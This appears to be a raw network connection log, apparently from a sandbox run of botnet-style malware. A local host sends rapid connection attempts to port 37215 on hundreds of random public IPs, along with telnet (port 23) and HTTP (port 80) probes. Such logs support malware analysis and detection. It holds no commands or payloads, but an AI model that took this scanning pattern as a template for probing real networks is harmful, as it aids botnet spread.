Jan 30, 2025 10:43:01.079027891 CET	60295	37215	192.168.2.14	41.164.151.123
Jan 30, 2025 10:43:01.079027891 CET	60295	37215	192.168.2.14	197.147.239.82
Jan 30, 2025 10:43:01.079037905 CET	60295	37215	192.168.2.14	197.71.112.98
Jan 30, 2025 10:43:01.079037905 CET	60295	37215	192.168.2.14	41.104.114.154
Jan 30, 2025 10:43:01.079054117 CET	60295	37215	192.168.2.14	197.30.31.223
Jan 30, 2025 10:43:01.079054117 CET	60295	37215	192.168.2.14	41.249.0.22
Jan 30, 2025 10:43:01.079054117 CET	60295	37215	192.168.2.14	41.61.207.106
Jan 30, 2025 10:43:01.079054117 CET	60295	37215	192.168.2.14	41.134.39.166
Jan 30, 2025 10:43:01.079057932 CET	60295	37215	192.168.2.14	156.157.95.21
Jan 30, 2025 10:43:01.079076052 CET	60295	37215	192.168.2.14	41.164.128.147
Jan 30, 2025 10:43:01.079088926 CET	60295	37215	192.168.2.14	156.123.86.13
Jan 30, 2025 10:43:01.079092026 CET	60295	37215	192.168.2.14	197.38.48.115
Jan 30, 2025 10:43:01.079092026 CET	60295	37215	192.168.2.14	41.81.203.18
Jan 30, 2025 10:43:01.079098940 CET	60295	37215	192.168.2.14	156.74.166.222
Jan 30, 2025 10:43:01.079113007 CET	60295	37215	192.168.2.14	197.132.183.201
Jan 30, 2025 10:43:01.079114914 CET	60295	37215	192.168.2.14	197.125.24.176
Jan 30, 2025 10:43:01.079128981 CET	60295	37215	192.168.2.14	41.220.217.82
Jan 30, 2025 10:43:01.079128981 CET	60295	37215	192.168.2.14	197.226.248.51
Jan 30, 2025 10:43:01.079138041 CET	60295	37215	192.168.2.14	41.136.68.117
Jan 30, 2025 10:43:01.079138041 CET	60295	37215	192.168.2.14	156.155.121.105
Jan 30, 2025 10:43:01.079144955 CET	60295	37215	192.168.2.14	197.27.90.34
Jan 30, 2025 10:43:01.079159975 CET	60295	37215	192.168.2.14	156.214.88.21
Jan 30, 2025 10:43:01.079165936 CET	60295	37215	192.168.2.14	41.4.203.176
Jan 30, 2025 10:43:01.079165936 CET	60295	37215	192.168.2.14	41.138.17.135
Jan 30, 2025 10:43:01.079174995 CET	60295	37215	192.168.2.14	197.153.29.250
Jan 30, 2025 10:43:01.079174995 CET	60295	37215	192.168.2.14	41.204.174.233
Jan 30, 2025 10:43:01.079174995 CET	60295	37215	192.168.2.14	197.221.173.224
Jan 30, 2025 10:43:01.079174995 CET	60295	37215	192.168.2.14	197.134.90.97
Jan 30, 2025 10:43:01.079179049 CET	60295	37215	192.168.2.14	41.28.186.228
Jan 30, 2025 10:43:01.079184055 CET	60295	37215	192.168.2.14	156.178.142.238
Jan 30, 2025 10:43:01.079185009 CET	60295	37215	192.168.2.14	41.212.9.162
Jan 30, 2025 10:43:01.079184055 CET	60295	37215	192.168.2.14	41.130.10.100
Jan 30, 2025 10:43:01.079188108 CET	60295	37215	192.168.2.14	41.11.155.250
Jan 30, 2025 10:43:01.079200983 CET	60295	37215	192.168.2.14	41.255.255.52
Jan 30, 2025 10:43:01.079201937 CET	60295	37215	192.168.2.14	41.226.111.129
Jan 30, 2025 10:43:01.079215050 CET	60295	37215	192.168.2.14	41.194.101.250
Jan 30, 2025 10:43:01.079216003 CET	60295	37215	192.168.2.14	156.225.81.18
Jan 30, 2025 10:43:01.079237938 CET	60295	37215	192.168.2.14	156.160.195.146
Jan 30, 2025 10:43:01.079238892 CET	60295	37215	192.168.2.14	156.83.153.10
Jan 30, 2025 10:43:01.079238892 CET	60295	37215	192.168.2.14	197.67.255.199
Jan 30, 2025 10:43:01.079243898 CET	60295	37215	192.168.2.14	156.9.118.251
Jan 30, 2025 10:43:01.079247952 CET	60295	37215	192.168.2.14	41.57.21.60
Jan 30, 2025 10:43:01.079252005 CET	60295	37215	192.168.2.14	197.105.228.248
Jan 30, 2025 10:43:01.079252005 CET	60295	37215	192.168.2.14	41.87.214.90
Jan 30, 2025 10:43:01.079282045 CET	60295	37215	192.168.2.14	197.241.3.179
Jan 30, 2025 10:43:01.079282045 CET	60295	37215	192.168.2.14	41.25.108.1
Jan 30, 2025 10:43:01.079284906 CET	60295	37215	192.168.2.14	41.185.147.77
Jan 30, 2025 10:43:01.079296112 CET	60295	37215	192.168.2.14	41.232.78.62
Jan 30, 2025 10:43:01.079298019 CET	60295	37215	192.168.2.14	156.99.61.133
Jan 30, 2025 10:43:01.079307079 CET	60295	37215	192.168.2.14	197.118.110.96
Jan 30, 2025 10:43:01.079319954 CET	60295	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:01.079329967 CET	60295	37215	192.168.2.14	197.228.179.36
Jan 30, 2025 10:43:01.079334021 CET	60295	37215	192.168.2.14	156.223.90.150
Jan 30, 2025 10:43:01.079335928 CET	60295	37215	192.168.2.14	41.139.222.124
Jan 30, 2025 10:43:01.079338074 CET	60295	37215	192.168.2.14	197.97.50.249
Jan 30, 2025 10:43:01.079340935 CET	60295	37215	192.168.2.14	197.183.23.14
Jan 30, 2025 10:43:01.079340935 CET	60295	37215	192.168.2.14	197.10.79.156
Jan 30, 2025 10:43:01.079341888 CET	60295	37215	192.168.2.14	197.59.209.141
Jan 30, 2025 10:43:01.079344034 CET	60295	37215	192.168.2.14	41.194.43.207
Jan 30, 2025 10:43:01.079349995 CET	60295	37215	192.168.2.14	41.63.87.127
Jan 30, 2025 10:43:01.079363108 CET	60295	37215	192.168.2.14	197.68.17.101
Jan 30, 2025 10:43:01.079363108 CET	60295	37215	192.168.2.14	41.234.205.245
Jan 30, 2025 10:43:01.079366922 CET	60295	37215	192.168.2.14	197.240.157.145
Jan 30, 2025 10:43:01.079380989 CET	60295	37215	192.168.2.14	197.68.146.48
Jan 30, 2025 10:43:01.079382896 CET	60295	37215	192.168.2.14	197.71.150.149
Jan 30, 2025 10:43:01.079385042 CET	60295	37215	192.168.2.14	156.237.184.75
Jan 30, 2025 10:43:01.079385042 CET	60295	37215	192.168.2.14	156.197.74.71
Jan 30, 2025 10:43:01.079397917 CET	60295	37215	192.168.2.14	41.188.165.47
Jan 30, 2025 10:43:01.079405069 CET	60295	37215	192.168.2.14	41.56.144.22
Jan 30, 2025 10:43:01.079413891 CET	60295	37215	192.168.2.14	197.204.180.239
Jan 30, 2025 10:43:01.079416037 CET	60295	37215	192.168.2.14	197.130.237.80
Jan 30, 2025 10:43:01.079416037 CET	60295	37215	192.168.2.14	156.72.7.95
Jan 30, 2025 10:43:01.079416990 CET	60295	37215	192.168.2.14	156.136.106.248
Jan 30, 2025 10:43:01.079432964 CET	60295	37215	192.168.2.14	156.55.244.23
Jan 30, 2025 10:43:01.079440117 CET	60295	37215	192.168.2.14	197.143.229.123
Jan 30, 2025 10:43:01.079442978 CET	60295	37215	192.168.2.14	197.24.186.58
Jan 30, 2025 10:43:01.079453945 CET	60295	37215	192.168.2.14	156.66.184.237
Jan 30, 2025 10:43:01.079463959 CET	60295	37215	192.168.2.14	156.127.221.243
Jan 30, 2025 10:43:01.079484940 CET	60295	37215	192.168.2.14	156.100.200.204
Jan 30, 2025 10:43:01.079485893 CET	60295	37215	192.168.2.14	156.47.87.226
Jan 30, 2025 10:43:01.079485893 CET	60295	37215	192.168.2.14	41.37.190.193
Jan 30, 2025 10:43:01.079487085 CET	60295	37215	192.168.2.14	156.100.115.132
Jan 30, 2025 10:43:01.079485893 CET	60295	37215	192.168.2.14	197.153.115.216
Jan 30, 2025 10:43:01.079504013 CET	60295	37215	192.168.2.14	197.220.154.91
Jan 30, 2025 10:43:01.079504013 CET	60295	37215	192.168.2.14	156.213.99.198
Jan 30, 2025 10:43:01.079521894 CET	60295	37215	192.168.2.14	156.144.145.190
Jan 30, 2025 10:43:01.079536915 CET	60295	37215	192.168.2.14	156.193.113.169
Jan 30, 2025 10:43:01.079536915 CET	60295	37215	192.168.2.14	197.243.233.225
Jan 30, 2025 10:43:01.079545021 CET	60295	37215	192.168.2.14	197.206.206.243
Jan 30, 2025 10:43:01.079545021 CET	60295	37215	192.168.2.14	41.15.95.220
Jan 30, 2025 10:43:01.079545021 CET	60295	37215	192.168.2.14	156.60.218.239
Jan 30, 2025 10:43:01.079554081 CET	60295	37215	192.168.2.14	41.31.72.221
Jan 30, 2025 10:43:01.079554081 CET	60295	37215	192.168.2.14	156.119.138.3
Jan 30, 2025 10:43:01.079555988 CET	60295	37215	192.168.2.14	41.121.35.121
Jan 30, 2025 10:43:01.079574108 CET	60295	37215	192.168.2.14	156.10.117.124
Jan 30, 2025 10:43:01.079575062 CET	60295	37215	192.168.2.14	41.115.19.200
Jan 30, 2025 10:43:01.079576015 CET	60295	37215	192.168.2.14	156.243.52.149
Jan 30, 2025 10:43:01.079591990 CET	60295	37215	192.168.2.14	197.38.223.38
Jan 30, 2025 10:43:01.079600096 CET	60295	37215	192.168.2.14	197.33.6.228
Jan 30, 2025 10:43:01.079600096 CET	60295	37215	192.168.2.14	41.92.193.233
Jan 30, 2025 10:43:01.079612970 CET	60295	37215	192.168.2.14	156.106.173.151
Jan 30, 2025 10:43:01.079619884 CET	60295	37215	192.168.2.14	41.64.148.136
Jan 30, 2025 10:43:01.079622030 CET	60295	37215	192.168.2.14	197.38.51.185
Jan 30, 2025 10:43:01.079622030 CET	60295	37215	192.168.2.14	41.100.103.239
Jan 30, 2025 10:43:01.079631090 CET	60295	37215	192.168.2.14	197.74.194.84
Jan 30, 2025 10:43:01.079644918 CET	60295	37215	192.168.2.14	156.49.16.132
Jan 30, 2025 10:43:01.079653978 CET	60295	37215	192.168.2.14	197.117.67.57
Jan 30, 2025 10:43:01.079653978 CET	60295	37215	192.168.2.14	41.202.55.254
Jan 30, 2025 10:43:01.079662085 CET	60295	37215	192.168.2.14	156.144.196.130
Jan 30, 2025 10:43:01.079668999 CET	60295	37215	192.168.2.14	197.26.223.194
Jan 30, 2025 10:43:01.079670906 CET	60295	37215	192.168.2.14	156.108.105.122
Jan 30, 2025 10:43:01.079689026 CET	60295	37215	192.168.2.14	156.159.142.137
Jan 30, 2025 10:43:01.079689026 CET	60295	37215	192.168.2.14	156.205.110.118
Jan 30, 2025 10:43:01.079689026 CET	60295	37215	192.168.2.14	197.164.255.45
Jan 30, 2025 10:43:01.079689026 CET	60295	37215	192.168.2.14	41.23.172.89
Jan 30, 2025 10:43:01.079689026 CET	60295	37215	192.168.2.14	156.91.253.41
Jan 30, 2025 10:43:01.079691887 CET	60295	37215	192.168.2.14	41.191.118.55
Jan 30, 2025 10:43:01.079705954 CET	60295	37215	192.168.2.14	156.145.19.131
Jan 30, 2025 10:43:01.079705954 CET	60295	37215	192.168.2.14	41.230.30.225
Jan 30, 2025 10:43:01.079722881 CET	60295	37215	192.168.2.14	41.196.83.187
Jan 30, 2025 10:43:01.079725981 CET	60295	37215	192.168.2.14	197.142.143.105
Jan 30, 2025 10:43:01.079727888 CET	60295	37215	192.168.2.14	41.137.196.96
Jan 30, 2025 10:43:01.079756021 CET	60295	37215	192.168.2.14	197.68.105.10
Jan 30, 2025 10:43:01.079756975 CET	60295	37215	192.168.2.14	156.58.184.32
Jan 30, 2025 10:43:01.079756021 CET	60295	37215	192.168.2.14	197.52.228.225
Jan 30, 2025 10:43:01.079758883 CET	60295	37215	192.168.2.14	41.220.84.186
Jan 30, 2025 10:43:01.079758883 CET	60295	37215	192.168.2.14	41.88.72.124
Jan 30, 2025 10:43:01.079758883 CET	60295	37215	192.168.2.14	197.18.47.51
Jan 30, 2025 10:43:01.079765081 CET	60295	37215	192.168.2.14	41.59.230.93
Jan 30, 2025 10:43:01.079773903 CET	60295	37215	192.168.2.14	41.157.21.104
Jan 30, 2025 10:43:01.079773903 CET	60295	37215	192.168.2.14	156.52.119.24
Jan 30, 2025 10:43:01.079773903 CET	60295	37215	192.168.2.14	41.114.166.211
Jan 30, 2025 10:43:01.079773903 CET	60295	37215	192.168.2.14	156.214.194.253
Jan 30, 2025 10:43:01.079777956 CET	60295	37215	192.168.2.14	41.147.73.117
Jan 30, 2025 10:43:01.079791069 CET	60295	37215	192.168.2.14	41.102.192.160
Jan 30, 2025 10:43:01.079793930 CET	60295	37215	192.168.2.14	41.229.101.25
Jan 30, 2025 10:43:01.079817057 CET	60295	37215	192.168.2.14	41.175.239.195
Jan 30, 2025 10:43:01.079819918 CET	60295	37215	192.168.2.14	41.229.173.88
Jan 30, 2025 10:43:01.079821110 CET	60295	37215	192.168.2.14	41.211.232.62
Jan 30, 2025 10:43:01.079829931 CET	60295	37215	192.168.2.14	197.111.14.47
Jan 30, 2025 10:43:01.079842091 CET	60295	37215	192.168.2.14	156.154.118.108
Jan 30, 2025 10:43:01.079842091 CET	60295	37215	192.168.2.14	41.219.179.41
Jan 30, 2025 10:43:01.079852104 CET	60295	37215	192.168.2.14	156.186.218.201
Jan 30, 2025 10:43:01.079852104 CET	60295	37215	192.168.2.14	156.118.239.79
Jan 30, 2025 10:43:01.079860926 CET	60295	37215	192.168.2.14	41.21.153.52
Jan 30, 2025 10:43:01.079860926 CET	60295	37215	192.168.2.14	197.78.41.98
Jan 30, 2025 10:43:01.079874039 CET	60295	37215	192.168.2.14	41.136.96.145
Jan 30, 2025 10:43:01.079876900 CET	60295	37215	192.168.2.14	197.79.255.47
Jan 30, 2025 10:43:01.079876900 CET	60295	37215	192.168.2.14	156.127.129.30
Jan 30, 2025 10:43:01.079876900 CET	60295	37215	192.168.2.14	156.52.251.237
Jan 30, 2025 10:43:01.079894066 CET	60295	37215	192.168.2.14	197.119.232.61
Jan 30, 2025 10:43:01.079895020 CET	60295	37215	192.168.2.14	41.57.46.137
Jan 30, 2025 10:43:01.079899073 CET	60295	37215	192.168.2.14	156.211.175.205
Jan 30, 2025 10:43:01.079899073 CET	60295	37215	192.168.2.14	197.95.211.222
Jan 30, 2025 10:43:01.079902887 CET	60295	37215	192.168.2.14	197.158.244.16
Jan 30, 2025 10:43:01.079921961 CET	60295	37215	192.168.2.14	41.12.239.212
Jan 30, 2025 10:43:01.079933882 CET	60295	37215	192.168.2.14	197.89.177.181
Jan 30, 2025 10:43:01.079936028 CET	60295	37215	192.168.2.14	156.148.149.157
Jan 30, 2025 10:43:01.079936028 CET	60295	37215	192.168.2.14	41.208.7.221
Jan 30, 2025 10:43:01.079936981 CET	60295	37215	192.168.2.14	197.132.125.118
Jan 30, 2025 10:43:01.079937935 CET	60295	37215	192.168.2.14	41.26.43.4
Jan 30, 2025 10:43:01.079955101 CET	60295	37215	192.168.2.14	41.189.107.57
Jan 30, 2025 10:43:01.079962969 CET	60295	37215	192.168.2.14	41.209.218.71
Jan 30, 2025 10:43:01.079965115 CET	60295	37215	192.168.2.14	156.66.104.149
Jan 30, 2025 10:43:01.079966068 CET	60295	37215	192.168.2.14	156.154.18.181
Jan 30, 2025 10:43:01.079972982 CET	60295	37215	192.168.2.14	156.51.160.51
Jan 30, 2025 10:43:01.079982996 CET	60295	37215	192.168.2.14	156.151.17.152
Jan 30, 2025 10:43:01.079983950 CET	60295	37215	192.168.2.14	197.38.160.23
Jan 30, 2025 10:43:01.079988956 CET	60295	37215	192.168.2.14	41.108.43.0
Jan 30, 2025 10:43:01.079988956 CET	60295	37215	192.168.2.14	156.136.78.43
Jan 30, 2025 10:43:01.079998016 CET	60295	37215	192.168.2.14	156.132.12.6
Jan 30, 2025 10:43:01.079999924 CET	60295	37215	192.168.2.14	41.161.135.205
Jan 30, 2025 10:43:01.080007076 CET	60295	37215	192.168.2.14	41.209.53.30
Jan 30, 2025 10:43:01.080015898 CET	60295	37215	192.168.2.14	41.46.169.177
Jan 30, 2025 10:43:01.080024958 CET	60295	37215	192.168.2.14	156.98.227.67
Jan 30, 2025 10:43:01.080024958 CET	60295	37215	192.168.2.14	156.199.249.172
Jan 30, 2025 10:43:01.080033064 CET	60295	37215	192.168.2.14	156.155.85.186
Jan 30, 2025 10:43:01.080044985 CET	60295	37215	192.168.2.14	156.29.205.86
Jan 30, 2025 10:43:01.080054045 CET	60295	37215	192.168.2.14	41.23.188.68
Jan 30, 2025 10:43:01.080065012 CET	60295	37215	192.168.2.14	156.115.182.90
Jan 30, 2025 10:43:01.080069065 CET	60295	37215	192.168.2.14	156.36.188.50
Jan 30, 2025 10:43:01.080076933 CET	60295	37215	192.168.2.14	156.141.32.187
Jan 30, 2025 10:43:01.080076933 CET	60295	37215	192.168.2.14	156.134.106.21
Jan 30, 2025 10:43:01.080086946 CET	60295	37215	192.168.2.14	41.53.161.114
Jan 30, 2025 10:43:01.080105066 CET	60295	37215	192.168.2.14	156.244.189.222
Jan 30, 2025 10:43:01.080106020 CET	60295	37215	192.168.2.14	41.140.128.0
Jan 30, 2025 10:43:01.080110073 CET	60295	37215	192.168.2.14	156.87.218.243
Jan 30, 2025 10:43:01.080112934 CET	60295	37215	192.168.2.14	156.33.99.215
Jan 30, 2025 10:43:01.080113888 CET	60295	37215	192.168.2.14	197.36.212.138
Jan 30, 2025 10:43:01.080113888 CET	60295	37215	192.168.2.14	197.130.69.128
Jan 30, 2025 10:43:01.080120087 CET	60295	37215	192.168.2.14	41.38.125.233
Jan 30, 2025 10:43:01.080120087 CET	60295	37215	192.168.2.14	41.132.194.190
Jan 30, 2025 10:43:01.080120087 CET	60295	37215	192.168.2.14	41.89.60.237
Jan 30, 2025 10:43:01.080123901 CET	60295	37215	192.168.2.14	156.119.192.31
Jan 30, 2025 10:43:01.080123901 CET	60295	37215	192.168.2.14	41.194.67.124
Jan 30, 2025 10:43:01.080132008 CET	60295	37215	192.168.2.14	41.23.61.193
Jan 30, 2025 10:43:01.080138922 CET	60295	37215	192.168.2.14	197.179.54.68
Jan 30, 2025 10:43:01.080143929 CET	60295	37215	192.168.2.14	156.46.177.154
Jan 30, 2025 10:43:01.080144882 CET	60295	37215	192.168.2.14	197.166.164.116
Jan 30, 2025 10:43:01.080156088 CET	60295	37215	192.168.2.14	197.175.44.35
Jan 30, 2025 10:43:01.080156088 CET	60295	37215	192.168.2.14	41.223.26.186
Jan 30, 2025 10:43:01.080157042 CET	60295	37215	192.168.2.14	156.96.249.124
Jan 30, 2025 10:43:01.080157042 CET	60295	37215	192.168.2.14	156.147.154.10
Jan 30, 2025 10:43:01.080172062 CET	60295	37215	192.168.2.14	197.209.70.92
Jan 30, 2025 10:43:01.080176115 CET	60295	37215	192.168.2.14	156.1.36.175
Jan 30, 2025 10:43:01.080179930 CET	60295	37215	192.168.2.14	156.54.136.122
Jan 30, 2025 10:43:01.080195904 CET	60295	37215	192.168.2.14	197.72.105.174
Jan 30, 2025 10:43:01.080195904 CET	60295	37215	192.168.2.14	197.208.248.236
Jan 30, 2025 10:43:01.080197096 CET	60295	37215	192.168.2.14	41.23.44.173
Jan 30, 2025 10:43:01.080213070 CET	60295	37215	192.168.2.14	156.64.7.229
Jan 30, 2025 10:43:01.080213070 CET	60295	37215	192.168.2.14	41.111.46.188
Jan 30, 2025 10:43:01.080214977 CET	60295	37215	192.168.2.14	156.186.199.91
Jan 30, 2025 10:43:01.080221891 CET	60295	37215	192.168.2.14	197.72.92.187
Jan 30, 2025 10:43:01.080241919 CET	60295	37215	192.168.2.14	197.104.223.186
Jan 30, 2025 10:43:01.080241919 CET	60295	37215	192.168.2.14	41.198.165.38
Jan 30, 2025 10:43:01.080244064 CET	60295	37215	192.168.2.14	197.14.48.130
Jan 30, 2025 10:43:01.080250025 CET	60295	37215	192.168.2.14	156.220.191.95
Jan 30, 2025 10:43:01.080251932 CET	60295	37215	192.168.2.14	197.40.11.77
Jan 30, 2025 10:43:01.080260992 CET	60295	37215	192.168.2.14	197.56.28.157
Jan 30, 2025 10:43:01.080274105 CET	60295	37215	192.168.2.14	41.198.121.195
Jan 30, 2025 10:43:01.080276012 CET	60295	37215	192.168.2.14	156.236.247.166
Jan 30, 2025 10:43:01.080287933 CET	60295	37215	192.168.2.14	156.21.178.255
Jan 30, 2025 10:43:01.080291033 CET	60295	37215	192.168.2.14	41.26.4.218
Jan 30, 2025 10:43:01.080291033 CET	60295	37215	192.168.2.14	41.236.60.87
Jan 30, 2025 10:43:01.080312014 CET	60295	37215	192.168.2.14	41.15.165.140
Jan 30, 2025 10:43:01.080312967 CET	60295	37215	192.168.2.14	41.153.42.211
Jan 30, 2025 10:43:01.080312967 CET	60295	37215	192.168.2.14	197.100.157.103
Jan 30, 2025 10:43:01.080312967 CET	60295	37215	192.168.2.14	41.67.120.60
Jan 30, 2025 10:43:01.080312967 CET	60295	37215	192.168.2.14	41.169.146.141
Jan 30, 2025 10:43:01.080317974 CET	60295	37215	192.168.2.14	156.200.168.7
Jan 30, 2025 10:43:01.080331087 CET	60295	37215	192.168.2.14	156.167.234.92
Jan 30, 2025 10:43:01.080338001 CET	60295	37215	192.168.2.14	197.222.100.235
Jan 30, 2025 10:43:01.080338955 CET	60295	37215	192.168.2.14	197.130.146.95
Jan 30, 2025 10:43:01.080338955 CET	60295	37215	192.168.2.14	156.218.245.46
Jan 30, 2025 10:43:01.080353975 CET	60295	37215	192.168.2.14	197.198.7.120
Jan 30, 2025 10:43:01.080354929 CET	60295	37215	192.168.2.14	197.125.252.71
Jan 30, 2025 10:43:01.080358028 CET	60295	37215	192.168.2.14	197.230.233.27
Jan 30, 2025 10:43:01.080365896 CET	60295	37215	192.168.2.14	41.189.201.10
Jan 30, 2025 10:43:01.080365896 CET	60295	37215	192.168.2.14	156.77.145.8
Jan 30, 2025 10:43:01.080374002 CET	60295	37215	192.168.2.14	156.180.171.234
Jan 30, 2025 10:43:01.080377102 CET	60295	37215	192.168.2.14	197.186.184.252
Jan 30, 2025 10:43:01.080380917 CET	60295	37215	192.168.2.14	197.105.200.231
Jan 30, 2025 10:43:01.080390930 CET	60295	37215	192.168.2.14	41.161.203.39
Jan 30, 2025 10:43:01.080404997 CET	60295	37215	192.168.2.14	156.208.117.6
Jan 30, 2025 10:43:01.080404997 CET	60295	37215	192.168.2.14	197.107.250.78
Jan 30, 2025 10:43:01.080415010 CET	60295	37215	192.168.2.14	41.240.161.214
Jan 30, 2025 10:43:01.080416918 CET	60295	37215	192.168.2.14	41.196.93.201
Jan 30, 2025 10:43:01.080419064 CET	60295	37215	192.168.2.14	156.175.183.84
Jan 30, 2025 10:43:01.080427885 CET	60295	37215	192.168.2.14	41.135.179.241
Jan 30, 2025 10:43:01.080430031 CET	60295	37215	192.168.2.14	41.89.172.240
Jan 30, 2025 10:43:01.080435991 CET	60295	37215	192.168.2.14	197.204.219.210
Jan 30, 2025 10:43:01.080435991 CET	60295	37215	192.168.2.14	41.100.169.166
Jan 30, 2025 10:43:01.080437899 CET	60295	37215	192.168.2.14	156.200.56.100
Jan 30, 2025 10:43:01.080450058 CET	60295	37215	192.168.2.14	156.179.69.133
Jan 30, 2025 10:43:01.080468893 CET	60295	37215	192.168.2.14	197.126.2.63
Jan 30, 2025 10:43:01.080471039 CET	60295	37215	192.168.2.14	197.220.238.126
Jan 30, 2025 10:43:01.080491066 CET	60295	37215	192.168.2.14	197.109.146.166
Jan 30, 2025 10:43:01.080498934 CET	60295	37215	192.168.2.14	156.179.234.212
Jan 30, 2025 10:43:01.080498934 CET	60295	37215	192.168.2.14	156.135.11.79
Jan 30, 2025 10:43:01.080504894 CET	60295	37215	192.168.2.14	156.177.169.251
Jan 30, 2025 10:43:01.080507040 CET	60295	37215	192.168.2.14	156.174.47.157
Jan 30, 2025 10:43:01.080507040 CET	60295	37215	192.168.2.14	156.255.96.144
Jan 30, 2025 10:43:01.080511093 CET	60295	37215	192.168.2.14	197.125.76.6
Jan 30, 2025 10:43:01.080522060 CET	60295	37215	192.168.2.14	197.124.246.101
Jan 30, 2025 10:43:01.080522060 CET	60295	37215	192.168.2.14	41.92.33.70
Jan 30, 2025 10:43:01.080528975 CET	60295	37215	192.168.2.14	41.50.54.255
Jan 30, 2025 10:43:01.080538034 CET	60295	37215	192.168.2.14	156.208.93.48
Jan 30, 2025 10:43:01.080538988 CET	60295	37215	192.168.2.14	156.118.19.129
Jan 30, 2025 10:43:01.080542088 CET	60295	37215	192.168.2.14	41.74.12.242
Jan 30, 2025 10:43:01.080545902 CET	60295	37215	192.168.2.14	197.237.49.201
Jan 30, 2025 10:43:01.080559969 CET	60295	37215	192.168.2.14	156.94.30.199
Jan 30, 2025 10:43:01.080571890 CET	60295	37215	192.168.2.14	156.172.110.86
Jan 30, 2025 10:43:01.080580950 CET	60295	37215	192.168.2.14	197.200.159.2
Jan 30, 2025 10:43:01.080585003 CET	60295	37215	192.168.2.14	197.127.227.58
Jan 30, 2025 10:43:01.080586910 CET	60295	37215	192.168.2.14	197.81.11.72
Jan 30, 2025 10:43:01.080590010 CET	60295	37215	192.168.2.14	197.180.203.181
Jan 30, 2025 10:43:01.080621958 CET	60295	37215	192.168.2.14	41.46.20.19
Jan 30, 2025 10:43:01.080625057 CET	60295	37215	192.168.2.14	197.211.107.236
Jan 30, 2025 10:43:01.080629110 CET	60295	37215	192.168.2.14	197.88.181.188
Jan 30, 2025 10:43:01.080632925 CET	60295	37215	192.168.2.14	197.48.6.95
Jan 30, 2025 10:43:01.080641985 CET	60295	37215	192.168.2.14	197.8.244.201
Jan 30, 2025 10:43:01.080650091 CET	60295	37215	192.168.2.14	197.203.28.144
Jan 30, 2025 10:43:01.080667973 CET	60295	37215	192.168.2.14	156.251.53.134
Jan 30, 2025 10:43:01.080677032 CET	60295	37215	192.168.2.14	197.5.156.11
Jan 30, 2025 10:43:01.080682993 CET	60295	37215	192.168.2.14	156.64.22.53
Jan 30, 2025 10:43:01.080683947 CET	60295	37215	192.168.2.14	197.49.178.221
Jan 30, 2025 10:43:01.080694914 CET	60295	37215	192.168.2.14	41.64.65.42
Jan 30, 2025 10:43:01.080694914 CET	60295	37215	192.168.2.14	41.182.158.27
Jan 30, 2025 10:43:01.080702066 CET	60295	37215	192.168.2.14	197.232.213.109
Jan 30, 2025 10:43:01.080714941 CET	60295	37215	192.168.2.14	156.218.87.166
Jan 30, 2025 10:43:01.080720901 CET	60295	37215	192.168.2.14	41.100.127.163
Jan 30, 2025 10:43:01.080720901 CET	60295	37215	192.168.2.14	41.151.53.210
Jan 30, 2025 10:43:01.080724001 CET	60295	37215	192.168.2.14	41.141.204.232
Jan 30, 2025 10:43:01.080753088 CET	60295	37215	192.168.2.14	197.242.185.231
Jan 30, 2025 10:43:01.080753088 CET	60295	37215	192.168.2.14	41.167.218.31
Jan 30, 2025 10:43:01.080769062 CET	60295	37215	192.168.2.14	197.151.219.37
Jan 30, 2025 10:43:01.080776930 CET	60295	37215	192.168.2.14	156.74.111.177
Jan 30, 2025 10:43:01.080776930 CET	60295	37215	192.168.2.14	197.171.138.161
Jan 30, 2025 10:43:01.080780983 CET	60295	37215	192.168.2.14	197.170.120.51
Jan 30, 2025 10:43:01.080780983 CET	60295	37215	192.168.2.14	41.112.132.135
Jan 30, 2025 10:43:01.080792904 CET	60295	37215	192.168.2.14	41.93.12.174
Jan 30, 2025 10:43:01.080796957 CET	60295	37215	192.168.2.14	41.21.221.210
Jan 30, 2025 10:43:01.080804110 CET	60295	37215	192.168.2.14	197.62.163.229
Jan 30, 2025 10:43:01.080805063 CET	60295	37215	192.168.2.14	41.218.23.61
Jan 30, 2025 10:43:01.080817938 CET	60295	37215	192.168.2.14	197.7.201.40
Jan 30, 2025 10:43:01.080823898 CET	60295	37215	192.168.2.14	156.59.54.247
Jan 30, 2025 10:43:01.080822945 CET	60295	37215	192.168.2.14	41.242.61.63
Jan 30, 2025 10:43:01.080823898 CET	60295	37215	192.168.2.14	197.131.150.149
Jan 30, 2025 10:43:01.080826044 CET	60295	37215	192.168.2.14	197.116.34.29
Jan 30, 2025 10:43:01.080838919 CET	60295	37215	192.168.2.14	156.178.153.69
Jan 30, 2025 10:43:01.080857038 CET	60295	37215	192.168.2.14	197.82.2.13
Jan 30, 2025 10:43:01.080858946 CET	60295	37215	192.168.2.14	41.189.95.237
Jan 30, 2025 10:43:01.080862999 CET	60295	37215	192.168.2.14	156.2.161.159
Jan 30, 2025 10:43:01.081329107 CET	44648	23	192.168.2.14	32.131.87.5
Jan 30, 2025 10:43:01.083211899 CET	33670	80	192.168.2.14	96.144.107.189
Jan 30, 2025 10:43:01.084101915 CET	37215	60295	197.71.120.86	192.168.2.14
Jan 30, 2025 10:43:01.084147930 CET	60295	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:01.084213018 CET	34906	23	192.168.2.14	171.199.5.179
Jan 30, 2025 10:43:01.086756945 CET	45424	80	192.168.2.14	173.5.157.24
Jan 30, 2025 10:43:01.088006020 CET	48938	23	192.168.2.14	121.42.70.33
Jan 30, 2025 10:43:01.090148926 CET	40968	80	192.168.2.14	149.28.47.9
Jan 30, 2025 10:43:01.091298103 CET	37130	23	192.168.2.14	148.138.143.58
Jan 30, 2025 10:43:01.093168974 CET	54456	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:01.094201088 CET	51482	23	192.168.2.14	175.157.72.124
Jan 30, 2025 10:43:01.096266031 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:01.097484112 CET	36520	23	192.168.2.14	114.107.59.138
Jan 30, 2025 10:43:01.097929955 CET	80	54456	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:01.097975969 CET	54456	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:01.099356890 CET	57974	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:01.100451946 CET	47632	23	192.168.2.14	65.230.203.210
Jan 30, 2025 10:43:01.102874994 CET	51678	80	192.168.2.14	5.118.233.252
Jan 30, 2025 10:43:01.104137897 CET	80	57974	133.153.249.33	192.168.2.14
Jan 30, 2025 10:43:01.104185104 CET	57974	80	192.168.2.14	133.153.249.33
